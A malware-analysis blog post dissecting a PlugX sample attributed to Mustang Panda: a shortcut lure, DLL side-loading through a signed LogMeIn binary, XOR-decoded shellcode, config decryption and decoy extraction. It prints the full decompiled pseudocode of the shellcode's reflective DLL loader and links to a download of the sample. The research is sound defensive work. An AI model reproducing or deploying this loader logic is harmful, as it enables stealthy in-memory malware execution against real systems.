1. Hunting
Recently, in my free time, I continue hunting samples related to PlugX malware of the Mustang Panda group. Among the results returned by VirusTotal, there is a file submitted to VT from LV (Latvia ??) at 2022-12-06 06:39:03 UTC:
Through examining some information of this file, I found that there are many similarities with the samples that I have analyzed and presented in September at the Security Bootcamp conference.
Download sample here: https://github.com/m4now4r/PlugX_Mustang-Panda/
2. Overview analysis
The above rar file includes an lnk file (a Windows Shortcut) and an abnormal directory containing other files as shown below:
“Written comments of Hungary.doc.lnk” will executes the test.msd file:
test.msd (26c855264896db95ed46e502f2d318e5f2ad25b59bdc47bd7ffe92646102ae0d) has the original name is LMIGuardianSvc.exe. This is a clean file, and belongs to LogMeIn software, with Digital Signature:
LMIGuardianDll.dll (ef2b6b411b79f751d73e824302ca00ff9f0d759a6eea02d2cfb11390d0e9379b), exports 6 functions. However, there are functions with the same address: CrashMain
, Escort2
, HttpMain
, IsSamePath
and OffLoad
. Only the Init
function locates at the different address, therefore, it is likely that the function of interest:
LMIGuardianDat.dat (e5e396be385d38f69566aa141de3030ffe4eaad8afb244a2c22df4b6db425478). This file is already encrypted:
To summarize, it can be seen that the Mustang Panda group continues using DLL side-loading technique, the execution flow of the malicious code is as follows:
3. Detailed analysis
3.1. Analyze test.msd file
Load the file into IDA, the pseudocode at its WinMain
function is as follows:
Pay attention to the mw_build_LMIGuardian_api_funcs_wrap
() function, this function will load the LMIGuardianDll.dll
file, get all addresses of the exported functions, and then call the Init
function to execute the next code:
3.2. Analyze LMIGuardianDll.dll file
The pseudocode at the Init
function is as follows:
Diving into the mw_load_decrypt_and_exec_shellcode
()
function, we see that it constructs the path to the LMIGuardianDat.dat
file, gets the handle to the file, and then allocates a memory area equal to the size of the file:
Next, it will read the contents of the LMIGuardianDat.dat
file into the allocated memory, use the xor loop to decode the shellcode, and finally use EnumSystemCodePagesW
function to execute the decrypted shellcode:
Based on the above pseudocode, we can completely write a Python script to perform shellcode decoding as follows:
Results before and after decoding:
3.3. Analyze shellcode
Before going into shellcode analysis, inspecting at the LMIGuardianDat_sc.bin
file, I found that it has an embedded PE file (removed Magic DOS signature and DOS Stubs):
Load shellcode into IDA, go to address 0xC3F
, apply the corresponding structs, we get the size of the embedded PE file as follows:
With all the above information, we can completely extract the PlugX Dll. This Dll only exports one function named BLMSqofHz
:
Going back to the shellcode, after defining its code in IDA, the pseudocode of its will call the plx_dll_loader
function to acts as a loader, map the PlugX Dll into the new memory region and call the exported function BLMSqofHz
to perform the main task of malware:
Let’s give a quick summary here:
- Based on the pre-calculated hash value to find the address of the API functions are
LdrLoadDll
,LdrGetProcedureAddress
. Then use these functions to get the address of other API functions as:VirtualAlloc, VirtualProtect, FlushInstructionCache, GetNativeSystemInfo, Sleep, RtlAddFunctionTable
andLoadLibraryA
.
- Recheck the Dll through some fields in Nt Headers
- Allocate new memory region and mapping the entire Dll payload into the allocated memory.
- Check and perform relocation (if necessary)
- Build import table for mapped Dll.
- Check and process Delay Import (if necessary)
- Check and change the Characteristics of sections.
- Execute TLS Callback (if any)
- Execute DllEntryPoint.
- Get the name of the exported function, calculate the hash, if it matches the pre-calculated hash, then get the address of the function to execute.
The full pseudocode of the plx_dll_loader
function is as follows:
int __cdecl plx_dll_loader(int pPlugxDllBaseAddr, _DWORD *pre_exportFuncHash, int export_arg1, int export_arg2, int export_arg3, unsigned int dwFlag)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
wstr_kernel32_dll[0] = 'k';
wstr_kernel32_dll[1] = 'e';
wstr_kernel32_dll[4] = 'e';
wstr_kernel32_dll[6] = '3';
wstr_kernel32_dll[7] = '2';
wstr_kernel32_dll[8] = '.';
LoadLibraryA = 0;
VirtualAlloc = 0;
FlushInstructionCache = 0;
GetNativeSystemInfo = 0;
VirtualProtect = 0;
Sleep = 0;
RtlAddFunctionTable = 0;
wstr_kernel32_dll[2] = 'r';
wstr_kernel32_dll[3] = 'n';
wstr_kernel32_dll[5] = 'l';
wstr_kernel32_dll[9] = 'd';
wstr_kernel32_dll[0xA] = 'l';
wstr_kernel32_dll[0xB] = 'l';
qmemcpy(&apiFuncs, "Sleep", 5);
qmemcpy(apiFuncs.wstr_LoadLibraryA, "LoadLibraryAVirtualProtect", 0x1A);
qmemcpy(apiFuncs.wstr_VirtualAlloc, "VirtualAlloc", sizeof(apiFuncs.wstr_VirtualAlloc));
qmemcpy(wstr_FlushInstructionCache, "FlushInstructionCache", sizeof(wstr_FlushInstructionCache));
qmemcpy(&wstr_GetNativeSystemInfo[1], "etNativeSystemInfo", 0x12);
str_RtlAddFunctionTable[0x12] = 0x65;
wstr_GetNativeSystemInfo[0] = 0x47;
qmemcpy(str_RtlAddFunctionTable, "RtlAddFunctionTabl", 0x12);
LdrLoadDll = plx_retrieve_api_from_hash(0xBDBF9C13);
LdrGetProcedureAddress = plx_retrieve_api_from_hash(0x5ED941B5u);
moduleInfo.Buffer = wstr_kernel32_dll;
moduleInfo.MaximumLength = 0x18;
moduleInfo.Length = 0x18;
tmp_var.LdrGetProcedureAddress = LdrGetProcedureAddress;
LdrLoadDll(0, 0, &moduleInfo, &dllHandle);
apiName.Length = 12;
apiName.Buffer = apiFuncs.wstr_VirtualAlloc;
apiName.MaximumLength = 12;
LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &VirtualAlloc);
apiName.Length = 14;
apiName.MaximumLength = 14;
apiName.Buffer = apiFuncs.wstr_VirtualProtect;
LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &VirtualProtect);
apiName.Length = 21;
apiName.MaximumLength = 21;
apiName.Buffer = wstr_FlushInstructionCache;
LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &FlushInstructionCache);
apiName.Length = 0x13;
apiName.Buffer = wstr_GetNativeSystemInfo;
apiName.MaximumLength = 0x13;
LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &GetNativeSystemInfo);
apiName.Length = 5;
apiName.MaximumLength = 5;
apiName.Buffer = &apiFuncs;
LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &Sleep);
apiName.Length = 0x13;
apiName.Buffer = str_RtlAddFunctionTable;
apiName.MaximumLength = 0x13;
LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &RtlAddFunctionTable);
apiName.Length = 12;
apiName.Buffer = apiFuncs.wstr_LoadLibraryA;
apiName.MaximumLength = 12;
LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &LoadLibraryA);
if ( !VirtualAlloc )
{
return FALSE;
}
if ( !VirtualProtect )
{
return FALSE;
}
if ( !Sleep )
{
return FALSE;
}
if ( !FlushInstructionCache )
{
return FALSE;
}
if ( !GetNativeSystemInfo )
{
return FALSE;
}
// check valid payload
cp_pPlugxDllBaseAddr = pPlugxDllBaseAddr;
pPlugxDllNtHeaders = (pPlugxDllBaseAddr + *(pPlugxDllBaseAddr + offsetof(IMAGE_DOS_HEADER, e_lfanew)));
if ( pPlugxDllNtHeaders->Signature != IMAGE_NT_SIGNATURE )
{
return FALSE;
}
if ( pPlugxDllNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386 )
{
return FALSE;
}
plxHeaderInfo.SectionAlignment = pPlugxDllNtHeaders->OptionalHeader.SectionAlignment;// 0x1000
if ( plxHeaderInfo.SectionAlignment & 1 )
{
return FALSE;
}
// calculate total sections size that need to mapped to memory
total_section_size = 0;
num_of_sections = pPlugxDllNtHeaders->FileHeader.NumberOfSections;
if ( pPlugxDllNtHeaders->FileHeader.NumberOfSections )
{
pPlugxSectionHeaders = (&pPlugxDllNtHeaders->OptionalHeader.SizeOfUninitializedData + pPlugxDllNtHeaders->FileHeader.SizeOfOptionalHeader);
do
{
if ( ADJ(pPlugxSectionHeaders)->SizeOfRawData )
{
plxHeaderInfo.SizeOfRawData = ADJ(pPlugxSectionHeaders)->SizeOfRawData;
}
section_size = ADJ(pPlugxSectionHeaders)->VirtualAddress + plxHeaderInfo.SizeOfRawData;// VirtualAddress + SizeOfRawData
if ( section_size <= total_section_size )
{
section_size = total_section_size;
}
pPlugxSectionHeaders += 0xA; // points to next section
total_section_size = section_size;
plxHeaderInfo.SectionAlignment = pPlugxDllNtHeaders->OptionalHeader.SectionAlignment;
--num_of_sections;
}
while ( num_of_sections );
cp_pPlugxDllBaseAddr = pPlugxDllBaseAddr;
}
// Retrieve SizeOfImage value
GetNativeSystemInfo(&system_info);
v15 = ~(system_info.dwPageSize - 1);
plx_dllSizeOfImage = v15 & (pPlugxDllNtHeaders->OptionalHeader.SizeOfImage + system_info.dwPageSize - 1);// Size of image (0x99000)
if ( plx_dllSizeOfImage != (v15 & (total_section_size + system_info.dwPageSize - 1)) )
{
return FALSE;
}
// Allocate new base address for mapping PlugX Dll
pPlugxNewBaseAddr = VirtualAlloc(pPlugxDllNtHeaders->OptionalHeader.ImageBase, plx_dllSizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
if ( !pPlugxNewBaseAddr )
{
pPlugxNewBaseAddr = VirtualAlloc(0, plx_dllSizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
}
if ( dwFlag & 1 ) // skip if
{
*(pPlugxNewBaseAddr + offsetof(IMAGE_DOS_HEADER, e_lfanew)) = *(cp_pPlugxDllBaseAddr + offsetof(IMAGE_DOS_HEADER, e_lfanew));
offset_from_e_lfanew = *(cp_pPlugxDllBaseAddr + offsetof(IMAGE_DOS_HEADER, e_lfanew));
if ( offset_from_e_lfanew < pPlugxDllNtHeaders->OptionalHeader.SizeOfHeaders )
{
pPlugxNewNtHeaders = (pPlugxNewBaseAddr + offset_from_e_lfanew);
do
{
++offset_from_e_lfanew;
LOBYTE(pPlugxNewNtHeaders->Signature) = *(&pPlugxNewNtHeaders->Signature + cp_pPlugxDllBaseAddr - pPlugxNewBaseAddr);
pPlugxNewNtHeaders = (pPlugxNewNtHeaders + 1);
}
while ( offset_from_e_lfanew < pPlugxDllNtHeaders->OptionalHeader.SizeOfHeaders );
}
}
else // exec else
{
// transfer Plugx Dll Headers to new base addr (0x400 bytes)
for ( cnt = 0; cnt < pPlugxDllNtHeaders->OptionalHeader.SizeOfHeaders; ++pPlugxNewBaseAddr )
{
++cnt;
*pPlugxNewBaseAddr = *(pPlugxNewBaseAddr + cp_pPlugxDllBaseAddr - pPlugxNewBaseAddr);
}
}
// copy all sections data to new mapped address
nTotalSectionCopied = 0;
pPlugxNewNtHeaders = (pPlugxNewBaseAddr + *(pPlugxNewBaseAddr + offsetof(IMAGE_DOS_HEADER, e_lfanew)));
tmp_var2.nTotalSectionCopied = 0;
if ( pPlugxNewNtHeaders->FileHeader.NumberOfSections )
{
pPlugxNewSectionHeaders = (&pPlugxNewNtHeaders->OptionalHeader.AddressOfEntryPoint + pPlugxNewNtHeaders->FileHeader.SizeOfOptionalHeader);
do
{
cnt = 0;
if ( ADJ(pPlugxNewSectionHeaders)->SizeOfRawData )
{
do
{
// pPlugxMappedSection[cnt] = pPlugxUnMappedSection[cnt]
*(pPlugxNewBaseAddr + ADJ(pPlugxNewSectionHeaders)->VirtualAddress + cnt) = *(cnt
+ ADJ(pPlugxNewSectionHeaders)->PointerToRawData
+ cp_pPlugxDllBaseAddr);
++cnt;
}
while ( cnt < ADJ(pPlugxNewSectionHeaders)->SizeOfRawData );
nTotalSectionCopied = tmp_var2.nTotalSectionCopied;
}
NumberOfSections = pPlugxNewNtHeaders->FileHeader.NumberOfSections;
++nTotalSectionCopied;
pPlugxNewSectionHeaders += 0xA;
tmp_var2.nTotalSectionCopied = nTotalSectionCopied;
}
while ( nTotalSectionCopied < NumberOfSections );
}
// Perform relocation if needed
delta_offset = pPlugxNewBaseAddr - pPlugxNewNtHeaders->OptionalHeader.ImageBase;
delta_offset = pPlugxNewBaseAddr - pPlugxNewNtHeaders->OptionalHeader.ImageBase;
if ( delta_offset ) // cause pPlugxNewBaseAddr - pPlugxNewNtHeaders->OptionalHeader.ImageBase = 0x0 then skip if block
{
if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[5].Size )
{
relocation = (pPlugxNewBaseAddr + pPlugxNewNtHeaders->OptionalHeader.DataDirectory[5].VirtualAddress);
if ( relocation->VirtualAddress )
{
v29 = delta_offset;
while ( 1 )
{
for ( ++relocation; relocation != (relocation + relocation->SizeOfBlock); relocation = (relocation + 2) )
{
v31 = relocation->VirtualAddress;
rel_type = LOWORD(relocation->VirtualAddress) >> 0xC;
switch ( rel_type )
{
case IMAGE_DEBUG_TYPE_OMAP_FROM_SRC|IMAGE_DEBUG_TYPE_CODEVIEW:
v33 = relocation->VirtualAddress;
delta_offset = relocation->VirtualAddress & 0xFFF;
*(v33 + pPlugxNewBaseAddr + delta_offset) += v29;
continue;
case IMAGE_REL_BASED_HIGHLOW:
*(pPlugxNewBaseAddr + (v31 & 0xFFF) + relocation->VirtualAddress) += v29;
continue;
case IMAGE_REL_ALPHA_REFLONG:
v34 = v29 >> 0x10;
break;
case IMAGE_REL_PPC_ADDR32:
v34 = v29;
break;
default:
continue;
}
*(pPlugxNewBaseAddr + (v31 & 0xFFF) + relocation->VirtualAddress) += v34;
}
if ( !relocation->VirtualAddress )
{
cp_pPlugxDllBaseAddr = pPlugxDllBaseAddr;
break;
}
}
}
}
}
// Build Import Table
if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[1].Size )
{
importTblRVA = pPlugxNewNtHeaders->OptionalHeader.DataDirectory[1].VirtualAddress;
nImportedDll = 0;
cp_nDllImported = 0;
pPlugXNewImportDesc = (importTblRVA + pPlugxNewBaseAddr);
pNameRVA = (importTblRVA + pPlugxNewBaseAddr + offsetof(IMAGE_IMPORT_DESCRIPTOR, Name));
tmp_var_1.pPlugXNewImportDesc = (importTblRVA + pPlugxNewBaseAddr);
if ( ADJ(pNameRVA)->Name )
{
// caculate number of Dlls
do
{
pNameRVA += 5; // points to next NameRVA
++nImportedDll;
}
while ( ADJ(pNameRVA)->Name );
cp_nDllImported = nImportedDll;
}
delta_offset = 0;
v102 = dwFlag & 4;
importTblRVA_ = importTblRVA;
if ( dwFlag & 4 && nImportedDll > 1 )
{ // skip if block
tmp_var2.pPlugXNewImportDesc = 0;
delta_offset = dwFlag >> 0x10;
nDll = nImportedDll - 1;
i = 0;
pPlugXNewImportDesc_ = (importTblRVA + pPlugxNewBaseAddr);
do
{
pPlugxDllBaseAddra = 0x343FD * cp_pPlugxDllBaseAddr + 0x269EC3;
v42 = &pPlugXNewImportDesc[i + (HIWORD(pPlugxDllBaseAddra) & 0x7FFFu) / (0x7FFF / (nImportedDll - i) + 1)];
++i;
qmemcpy(v109, v42, sizeof(v109));
v43 = v42;
nImportedDll = cp_nDllImported;
qmemcpy(v43, pPlugXNewImportDesc_, sizeof(IMAGE_IMPORT_DESCRIPTOR));
qmemcpy(pPlugXNewImportDesc_, v109, sizeof(IMAGE_IMPORT_DESCRIPTOR));
cp_pPlugxDllBaseAddr = pPlugxDllBaseAddra;
++pPlugXNewImportDesc_;
pPlugXNewImportDesc = tmp_var_1.pPlugXNewImportDesc;
}
while ( i < nDll );
importTblRVA_ = pPlugxNewNtHeaders->OptionalHeader.DataDirectory[1].VirtualAddress;
}
tmp_var2.pPlugXNewImportDesc = (importTblRVA_ + pPlugxNewBaseAddr);
dllNameRVA = *(importTblRVA_ + pPlugxNewBaseAddr + offsetof(IMAGE_IMPORT_DESCRIPTOR, Name));
if ( dllNameRVA )
{
pPlugXNewImportDesc = tmp_var2.pPlugXNewImportDesc;
do
{
module_handle = LoadLibraryA((pPlugxNewBaseAddr + dllNameRVA));
dllHandle.module_handle = module_handle;
thunkRef = (pPlugxNewBaseAddr + pPlugXNewImportDesc->OriginalFirstThunk);
funcRef = (pPlugxNewBaseAddr + pPlugXNewImportDesc->FirstThunk);
thunkRefInfo = thunkRef->u1.AddressOfData;// AddressOfData, which points to the IMAGE_IMPORT_BY_NAME structure.
if ( thunkRef->u1.AddressOfData )
{
LdrGetProcedureAddress = tmp_var.LdrGetProcedureAddress;
while ( TRUE )
{
if ( thunkRefInfo >= 0 )
{
len_str_apiName = 0;
str_apiName = &thunkRefInfo->Name[pPlugxNewBaseAddr];
tmp_var_1.str_apiName = str_apiName;
if ( *str_apiName )
{
do
{
++len_str_apiName;
++str_apiName;
}
while ( *str_apiName );
str_apiName = tmp_var_1.str_apiName;
}
apiName.Length = len_str_apiName;
apiName.MaximumLength = len_str_apiName;
apiName.Buffer = str_apiName;
LdrGetProcedureAddress(module_handle, &apiName, 0, &funcRef->u1.Function);// get api address and update IAT table
}
else
{
LdrGetProcedureAddress(module_handle, 0, LOWORD(thunkRef->u1.AddressOfData), &funcRef->u1.Function);
}
++thunkRef;
++funcRef;
thunkRefInfo = thunkRef->u1.AddressOfData;
if ( !thunkRef->u1.AddressOfData )
{
break;
}
module_handle = dllHandle.module_handle;
}
pPlugXNewImportDesc = tmp_var2.pPlugXNewImportDesc;
}
if ( delta_offset && v102 && cp_nDllImported > 1 )
{
Sleep(0x3E8 * delta_offset);
}
dllNameRVA = pPlugXNewImportDesc[1].Name;// points to next NameRVA
++pPlugXNewImportDesc; // points to next import (Dll)
tmp_var2.pPlugXNewImportDesc = pPlugXNewImportDesc;
}
while ( dllNameRVA );
}
}
// Process Delay Import
page_Protection = IMAGE_SCN_CNT_CODE;
if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[0xD].Size )
{
pDelayLoadDesc = (pPlugxNewBaseAddr + pPlugxNewNtHeaders->OptionalHeader.DataDirectory[0xD].VirtualAddress + 4);
tmp_var2.pdelayImportDesc = pDelayLoadDesc;
DllNameRVA = ADJ(pDelayLoadDesc)->DllNameRVA;
if ( DllNameRVA )
{
v56 = &ADJ(tmp_var2.pdelayImportDesc)->DllNameRVA;
do
{
module_handle = LoadLibraryA((pPlugxNewBaseAddr + DllNameRVA));
dllHandle.module_handle = module_handle;
ImportAddressTableRVA = (pPlugxNewBaseAddr + ADJ(v56)->ImportAddressTableRVA);
ImportNameTableRVA = (pPlugxNewBaseAddr + ADJ(v56)->ImportNameTableRVA);
if ( ImportAddressTableRVA->u1.AddressOfData )
{
LdrGetProcedureAddress = tmp_var.LdrGetProcedureAddress;
while ( TRUE )
{
ImportNameRVA = ImportNameTableRVA->u1.AddressOfData;
if ( (ImportNameTableRVA->u1.AddressOfData & 0x80000000) == 0 )
{
len_str_delayAPIName = 0;
str_delayAPIName = &ImportNameRVA->Name[pPlugxNewBaseAddr];
v102 = str_delayAPIName;
if ( *str_delayAPIName )
{
do
{
++len_str_delayAPIName;
++str_delayAPIName;
}
while ( *str_delayAPIName );
str_delayAPIName = v102;
}
apiName.Length = len_str_delayAPIName;
apiName.MaximumLength = len_str_delayAPIName;
apiName.Buffer = str_delayAPIName;
LdrGetProcedureAddress(module_handle, &apiName, 0, &ImportAddressTableRVA->u1.Function);
}
else
{
LdrGetProcedureAddress(module_handle, 0, ImportNameRVA, &ImportAddressTableRVA->u1.AddressOfData);
}
++ImportAddressTableRVA;
++ImportNameTableRVA;
if ( !ImportAddressTableRVA->u1.Function )
{
break;
}
module_handle = dllHandle.module_handle;
}
v56 = &ADJ(tmp_var2.pdelayImportDesc)->DllNameRVA;
}
page_Protection = IMAGE_SCN_CNT_CODE;
v56 += 8;
tmp_var2.pdelayImportDesc = v56;
DllNameRVA = ADJ(v56)->DllNameRVA;
}
while ( ADJ(v56)->DllNameRVA );
}
}
// check & change section protection
cnt = 0;
if ( pPlugxNewNtHeaders->FileHeader.NumberOfSections )
{
pPlugxNewSectionHeaders = (&pPlugxNewNtHeaders->OptionalHeader.AddressOfEntryPoint + pPlugxNewNtHeaders->FileHeader.SizeOfOptionalHeader);
do
{
if ( ADJ(pPlugxNewSectionHeaders)->SizeOfRawData )
{
sectionCharacteristics = ADJ(pPlugxNewSectionHeaders)->Characteristics;
section_can_read = ADJ(pPlugxNewSectionHeaders)->Characteristics & IMAGE_SCN_MEM_READ;
if ( sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE )
{
if ( section_can_read )
{
flNewProtect = IMAGE_SCN_CNT_INITIALIZED_DATA;
}
else
{
flNewProtect = IMAGE_SCN_CNT_UNINITIALIZED_DATA;
page_Protection = 0x10;
}
if ( sectionCharacteristics >= 0 )
{
flNewProtect = page_Protection;
}
}
else
{
if ( section_can_read )
{
flNewProtect = 4;
page_protection = 2;
}
else
{
flNewProtect = IMAGE_SCN_TYPE_NO_PAD;
page_protection = PAGE_NOACCESS;
}
if ( sectionCharacteristics >= 0 )
{
flNewProtect = page_protection;
}
}
flOldProtect = flNewProtect;
if ( ADJ(pPlugxNewSectionHeaders)->Characteristics & IMAGE_SCN_MEM_NOT_CACHED )
{
flNewProtect |= IMAGE_SCN_LNK_INFO;
flOldProtect = flNewProtect;
}
VirtualProtect(
(pPlugxNewBaseAddr + ADJ(pPlugxNewSectionHeaders)->VirtualAddress),
ADJ(pPlugxNewSectionHeaders)->SizeOfRawData,
flNewProtect,
&flOldProtect);
}
++cnt;
pPlugxNewSectionHeaders += 0xA; // points to next section
page_Protection = IMAGE_SCN_CNT_CODE;
}
while ( cnt < pPlugxNewNtHeaders->FileHeader.NumberOfSections );
}
// ExecuteTLS
FlushInstructionCache(0xFFFFFFFF, 0, 0);
if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[9].Size )
{
tlsDir = *(pPlugxNewNtHeaders->OptionalHeader.DataDirectory[9].VirtualAddress + pPlugxNewBaseAddr + 0xC);
for ( tlsCallBackFunc = ADJ(tlsDir)->AddressOfCallBacks; ADJ(tlsDir)->AddressOfCallBacks; tlsCallBackFunc = ADJ(tlsDir)->AddressOfCallBacks )
{
tlsCallBackFunc(pPlugxNewBaseAddr, 1, 0);
++tlsDir;
}
}
// exec DllEntryPoint func
((pPlugxNewBaseAddr + pPlugxNewNtHeaders->OptionalHeader.AddressOfEntryPoint))(pPlugxNewBaseAddr, 1, 0);
if ( !pre_exportFuncHash )
{
return pPlugxNewBaseAddr;
}
// check Export Directory size
if ( !pPlugxNewNtHeaders->OptionalHeader.DataDirectory[0].Size )
{
return pPlugxNewBaseAddr;
}
// retrieve export function name
// calc hash and check with pre-hash
// if match, call this export function
exportDirRVA = (pPlugxNewBaseAddr + pPlugxNewNtHeaders->OptionalHeader.DataDirectory[offsetof(IMAGE_NT_HEADERS, Signature)].VirtualAddress);
numExportedNames = exportDirRVA->NumberOfNames;
if ( !numExportedNames )
{
return pPlugxNewBaseAddr;
}
if ( !exportDirRVA->NumberOfFunctions )
{
return pPlugxNewBaseAddr;
}
AddressOfNameOrdinalsRVA = exportDirRVA->AddressOfNameOrdinals;
pNameAddressTbl = (pPlugxNewBaseAddr + exportDirRVA->AddressOfNames);
tmp_var.dwExportHash = 0;
pOrdinalsTbl = (pPlugxNewBaseAddr + AddressOfNameOrdinalsRVA);
do
{
exportNameRVA = *pNameAddressTbl;
tmp_var2.cnt = 0;
str_exported_func = (pPlugxNewBaseAddr + exportNameRVA);
if ( !str_exported_func )
{
break;
}
chr = *str_exported_func;
if ( *str_exported_func )
{
dwExportHash = tmp_var2.dwExportHash;
do
{
dwExportHash = __ROR4__(chr + dwExportHash, 0xD);
chr = *++str_exported_func;
}
while ( *str_exported_func );
tmp_var2.dwExportHash = dwExportHash;
numExportedNames = exportDirRVA->NumberOfNames;
if ( pre_exportFuncHash == dwExportHash )
{
if ( pOrdinalsTbl )
{
exportFunc = (pPlugxNewBaseAddr + *(exportDirRVA->AddressOfFunctions + 4 * *pOrdinalsTbl + pPlugxNewBaseAddr));
if ( dwFlag & 8 )
{
exportFunc(export_arg3, 4); // call export function
}
else
{
exportFunc(export_arg1, export_arg2);
}
return pPlugxNewBaseAddr;
}
}
}
++pNameAddressTbl;
++pOrdinalsTbl;
++tmp_var.cnt;
}
while ( tmp_var.cnt < numExportedNames );
return pPlugxNewBaseAddr;
}
3.4. Decrypt the configuration of malware
Through the shellcode analysis above, we see that it simply maps the PlugX Dll into memory and then calls the export function BLMSqofHz
. Analyzing this Dll, its configuration is stored in the .data
section with a size of 0x460
bytes:
The function that performs configuration decryption uses an xor loop with the length of decryption key is 9
:
Dump the encrypted config data to disk, after observing I get the decryption key “jOh752oCI
“. Here is the configuration information malware after decrypting:
We can write a Python script to parse information like this:
3.5. Extract decoy document
With the above decryption configuration, we see that the malware when executed will drop and open the decoy document named: Written comments of Hungary.docx to lure the victim. Going back to the LMIGuardianDat_sc.bin file, we find this decoy document starting at offset: 0x8F6C0
. Dump the document to disk, we have information about it as follows:
End.
m4n0w4r
[…] 0day in {REA_TEAM}Diving into a PlugX sample of Mustang Panda group […]
Bài này có bản tiếng Việt không ạ
Không em, tiếng Việt giờ chả mấy người đọc 😐
amazing